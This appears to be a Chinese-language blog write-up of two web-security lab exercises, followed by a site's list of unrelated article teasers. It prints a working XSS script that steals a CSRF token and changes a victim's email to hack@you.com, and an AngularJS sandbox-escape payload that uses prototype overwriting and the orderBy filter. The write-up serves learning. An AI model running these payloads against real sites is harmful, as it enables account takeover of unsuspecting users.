滲透實戰:繞過沙箱機制的反射型XSS

Lab 24:利用 xss 繞過 csrf 防御

依然是留言板的問題可以執行<h1>標簽

進入修改郵箱的界面,修改抓包

這里構造修改郵箱的代碼

<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];var changeReq = new XMLHttpRequest();changeReq.open('post', '/my-account/change-email', true);changeReq.send('csrf='+token+'&email=hack@you.com')
};
</script>
<!-- XMLHttpRequest:用于向服務器發送 HTTP 請求,獲取或提交數據。
req.open('get', '/my-account', true)發送 GET 請求到 /my-account 頁面,獲取用戶的賬戶信息(包含 CSRF 令牌)
handleResponse 函數解析服務器返回的 HTML 內容,通過正則表達式 name="csrf" value="(\w+)" 提取 CSRF 令牌
使用竊取的 CSRF 令牌,構造 POST 請求到 /my-account/change-email,將用戶郵箱修改為 hack@you.com
-->

Lab 25:無需字符串即可逃逸 AngularJS 沙盒的反射型 XSS

當我們輸入 1 時,看到我們輸入的內容被放入$scope.query[key]中,因為key='search',這里就是通過訪問鍵值對的方式獲取鍵的值。類似下面的代碼

lab 中這段 js 關鍵部分在于$parse的使用,$parse是 angularJS 中用來將字符串解析為可執行函數,通過$parse(key)($scope.query)search的值傳給value,通過{{value}}顯示到頁面<h1>標簽中。

如何能控制key,從而讓$parse執行我們輸入的 key,可以嘗試用&繼續添加參數測試

可以看到我們輸入的第二組key:value對出現了,我們可以控制key

angularJS 中,{{}}表達式可以用來求值,如{{ 1+1 }}可以得到 2,這里我們可以輸入2+2=3+需要 url 編碼為%2B

經過測試,發現我們輸入的key被計算了,頁面顯示了 key 的計算結果,嘗試輸入 alert()不能彈窗,因為這里存在沙箱機制,不允許運行此函數,這里需要繞過沙箱機制執行 alert

訪問 xss check-sheetCross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy可以看到關于 angularJS 繞過沙箱的好多方法

本 lab 給出的解決方法?search=1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1

這里通過toString().constructor.prototype.charAt=[].join將原型污染,導致 charAt 返回整個字符串而非單個字符

fromCharCode(120,61,97,108,101,114,116,40,49,41)解碼后得到字符串:x=alert(1)

toString().constructor指向Function構造函數。

因此這部分等價于:Function("x=alert(1)")(),即創建并執行一個包含x=alert(1)的函數。

由于 charAt 被覆蓋,isIdent() 在檢查多字符輸入(如 x=alert(1))時,實際比較的是整個字符串與單個字符的規則。根據邏輯,任何字符串(如 x=alert(1))都會被誤判為合法標識符,導致 isIdent() 始終返回 true

isIdent = function(ch) {return ('a' <= ch && ch <= 'z' ||  // 小寫字母'A' <= ch && ch <= 'Z' ||  // 大寫字母'_' === ch || ch === '$');  // 下劃線或美元符號
}

利用 orderBy 過濾器執行惡意表達式 x=alert(1)

[1] | orderBy:'x=alert(1)'

為方便理解請看下面示例代碼

<head><script src="https://cdn.bootcdn.net/ajax/libs/angular.js/1.8.2/angular.min.js"></script>
</head>
<div ng-app="myApp" ng-controller="myCtrl"><p ng-repeat="item in items | orderBy:'price'">${{ item.price }}</p>
</div>
<!-- | 前面的是傳入的數據,orderBy后面是排序的依據,漏洞點就是這里傳入了angularJS表達式函數被執行 -->
<script>var app = angular.module('myApp', []);app.controller('myCtrl', function($scope) {$scope.items = [{ price: 2.5 },{ price: 1.5 },{ price: 3.0 }];});
</script>

運行結果

生成字符串 "x=alert(1)",避免直接使用引號,通過 toString().constructor 訪問 String 構造函數,繞過對 String.fromCharCode 的直接調用限制。

toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)

echo "QmlsaWJpbGkgc2VhcmNoICdQZW5UZXN0M3JfWmVybGsnIGZvciBtb3JlIHZpZGVvLCBUaGFuayB5
b3UgZm9yIHlvdXIgc3VwcG9ydCEK"|base64 -d

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/910024.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/910024.shtml
英文地址,請注明出處:http://en.pswp.cn/news/910024.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

K8S篇之利用deployment實現滾動平滑升級

一、更新策略 在 Kubernetes (K8s) 中,滾動平滑升級(Rolling Update)是一種無縫更新部署的方式,允許你在不中斷服務的情況下逐步更新應用程序。這是 Kubernetes 默認的 Deployment 更新策略,它會按照指定的步幅逐步替換 Pods,確保在新版本的應用程序沒有完全替換舊版本的…

【Dify 案例】【MCP實戰】【一】【前置配置】

MCP(Model Context Protocol,模型上下文協議) ,2024年11月底,由Anthropic 推出的一種開放標準。旨在為大語言模型(LLM)提供統一的、標準化方式與外部數據源和工具之間進行通信。 MCP 作為一種標準化協議,極大地簡化了大語言模型與外部世界的交互方式,使開發者能夠以統…

2025高考志愿填報張雪峰資料合集

2025高考志愿填報課程&#xff0c;張雪峰專業指導&#xff01;包含61節課&#xff0c;93個專業詳解&#xff0c;總計1500分鐘視頻。 獨家各省資料包&#xff01;新舊高考政策全覆蓋&#xff0c;適合高三家長和考生。內容整理自互聯網&#xff0c;無償分享&#xff0c;如有侵權&…

Nginx+Tomcat負載均衡群集

一.案例:部署Tomcat 1.案例分析 1.1案例概述 京北點指科技有限公司發布V3版移聯建站管理系統&#xff0c;該項目為Java 語言開發的Web 站點。目前&#xff0c;IBM 的 WebSphere 及 0racle 的 WebLogic 占據了市面上 Java 語言 Web 站點的大部分份額。這兩種軟件以其無與倫比…

華為云Flexus+DeepSeek征文|基于華為云一鍵部署dify平臺構建合同審核助手應用實踐

目錄 前言 1 華為云一鍵部署Dify平臺 1.1 華為云Dify平臺介紹 1.2 部署過程介紹 1.3 登錄Dify平臺 2 接入華為云 ModelArts Studio 的 DeepSeek 大模型 2.1 獲取調用模型服務信息 2.2 在 Dify 中配置模型 3 構建合同審核助手應用 3.1 簡要介紹合同審核助手 3.2 開始…

三種經典算法無人機三維路徑規劃對比(SMA、HHO、GWO三種算法),Matlab代碼實現

代碼功能 該MATLAB代碼用于對比三種元啟發式優化算法&#xff08;SMA、HHO、GWO三種算法&#xff0c; SMA黏菌算法、HHO哈里斯鷹優化算法、GWO灰狼優化算法&#xff09; 在特定優化問題上的性能&#xff0c;運行環境MATLABR2020b或更高 &#xff1a; 初始化問題模型&#xff…

設計模式精講 Day 8:組合模式(Composite Pattern)

【設計模式精講 Day 8】組合模式&#xff08;Composite Pattern&#xff09; 開篇 在“設計模式精講”系列的第8天&#xff0c;我們將深入講解組合模式&#xff08;Composite Pattern&#xff09;。組合模式是一種結構型設計模式&#xff0c;它允許將對象組合成樹形結構以表示…

【Dify學習筆記】:RagFlow接入Dify基礎教程

RagFlow接入Dify基礎教程 如果RagFlow還沒部署&#xff0c;可參考我另一篇本地部署文章&#xff1a;【Dify學習筆記】&#xff1a;本地部署RagFlow適配Dify 一、RagFlow 1. 配置模型 點擊&#xff1a;頭像 > Model providers 添加模型供應商、設置默認模型Set default …

Apache ECharts-02.入門案例

一.入門案例 官網下載&#xff1a;下載 - Apache ECharts&#xff0c;下載echarts.js文件&#xff0c;下載好后在其同一個文件夾下創建html文件即可。 <!DOCTYPE html> <html><head><meta charset"utf-8" /><title>ECharts</title…

社群經濟視閾下開源AI智能名片鏈動2+1模式與S2B2C商城小程序在私域電商中的融合應用研究

摘要&#xff1a;在數字經濟與社交網絡深度融合的背景下&#xff0c;付費社群憑借精準用戶篩選、高價值成員聚合及強信任關系鏈等優勢&#xff0c;成為私域電商發展的核心載體。本文基于社群經濟理論&#xff0c;結合“開源AI智能名片鏈動21模式S2B2C商城小程序”的技術與商業邏…

【Tools】Mac brew工具

Homebrew&#xff08;簡稱 brew&#xff09;是 macOS&#xff08;也支持 Linux&#xff09;上的一款 包管理工具&#xff0c;它的作用類似于&#xff1a; Ubuntu 下的 aptCentOS 下的 yumArch Linux 下的 pacman 一句話概括&#xff1a; brew 是用來在 macOS 上安裝、管理軟件…

IEEE RAL 雙臂機器人三連抓估計物體狀態 無需特制夾爪或視覺相機 - 大阪大學萬偉偉老師團隊

IEEE RA-L | 萬偉偉老師團隊提出雙臂機器人規劃控制方法有效降低被抓物姿態不確定性 日本大阪大學萬偉偉老師團隊針對雙臂機器人開發了一種重復抓取規劃和阻抗控制的方法&#xff0c;該方法通過兩個機械臂依次尋找抓取位置和物體姿態&#xff0c;并通過三個正交抓取動作&#x…

AtomicInteger 和 volatile Integer對比

AtomicInteger 和 volatile Integer 雖然都與線程安全有關&#xff0c;但本質完全不同。它們的主要區別體現在原子性保證和功能上&#xff1a; &#x1f50d; 核心區別對比表 特性volatile IntegerAtomicInteger原子性? 不保證復合操作原子性? 保證所有操作的原子性自增操作…

一生一芯 PA2 RTFSC

從src/isa/riscv32/inst.c出發。 向上搜索&#xff0c;理解宏定義的含義。 R(i) #define R(i) gpr(i) R(i)&#xff1a;訪問第i號通用寄存器 會被替換為&#xff1a; #define gpr(idx) (cpu.gpr[check_reg_idx(idx)]) 分為兩個部分&#xff1a; cpu.gprcheck_reg_idx c…

深度學習——手寫數字識別

深度學習——手寫數字識別 學習深度學習的朋友應該對MNIST數據集不陌生吧&#xff0c;相信很多人在剛開始學習深度學習的時候都會用到MNIST數據集進行書寫數字識別。本篇文章參考魚書創建一個深度網絡來進行書寫數字識別的任務。 如上圖所示&#xff0c;這里使用的卷積層全都是…

HashMap算法高級應用實戰:頻率類子數組問題的5種破解模式

本文將深入剖析5種基于HashMap的高級模式&#xff0c;通過原理詳解、多語言實現、性能對比和工業級應用&#xff0c;助您徹底掌握頻率類子數組問題。 1. 深入解析&#xff1a;頻率類子數組問題 1.1 問題定義與分類 頻率類子數組問題是指需要統計或查找滿足特定元素頻率條件的…

【精選】計算機畢業設計HTML5智能寵物尋找與領養系統 跨平臺寵物匹配 地圖定位找寵 領養申請審核系統源碼+論文+PPT+講解

博主介紹&#xff1a; ?我是阿龍&#xff0c;一名專注于Java技術領域的程序員&#xff0c;全網擁有10W粉絲。作為CSDN特邀作者、博客專家、新星計劃導師&#xff0c;我在計算機畢業設計開發方面積累了豐富的經驗。同時&#xff0c;我也是掘金、華為云、阿里云、InfoQ等平臺…

拼多多商家端 anti_content 補環境分析

聲明 本文章中所有內容僅供學習交流使用&#xff0c;不用于其他任何目的&#xff0c;抓包內容、敏感網址、數據接口等均已做脫敏處理&#xff0c;嚴禁用于商業用途和非法用途&#xff0c;否則由此產生的一切后果均與作者無關&#xff01; 部分python代碼 import execjs impor…

電腦、手機長時間不關機可以嗎

電腦和手機常年處于開機狀態&#xff0c;只有在沒電或者系統提示更新的時候才會關機。那問題來了&#xff0c;電腦、手機長時間不關機到底可不可以呢&#xff1f;今天咱們就來好好嘮嘮。 手機長時間不關機的情況 先來說說手機。現在的智能手機功能越來越強大&#xff0c;我們…

「AI大數據」| 《華為:面向智能制造的工業大模型標準化研究報告》

今天給大家介紹 《華為:面向智能制造的工業大模型標準化研究報告》&#xff0c;這是一份由中國電子技術標準化研究院聯合華為等多家企業編寫的權威報告&#xff0c;聚焦工業大模型在智能制造領域的標準化發展。報告詳細分析了工業大模型的技術架構、應用場景、標準化現狀與挑戰…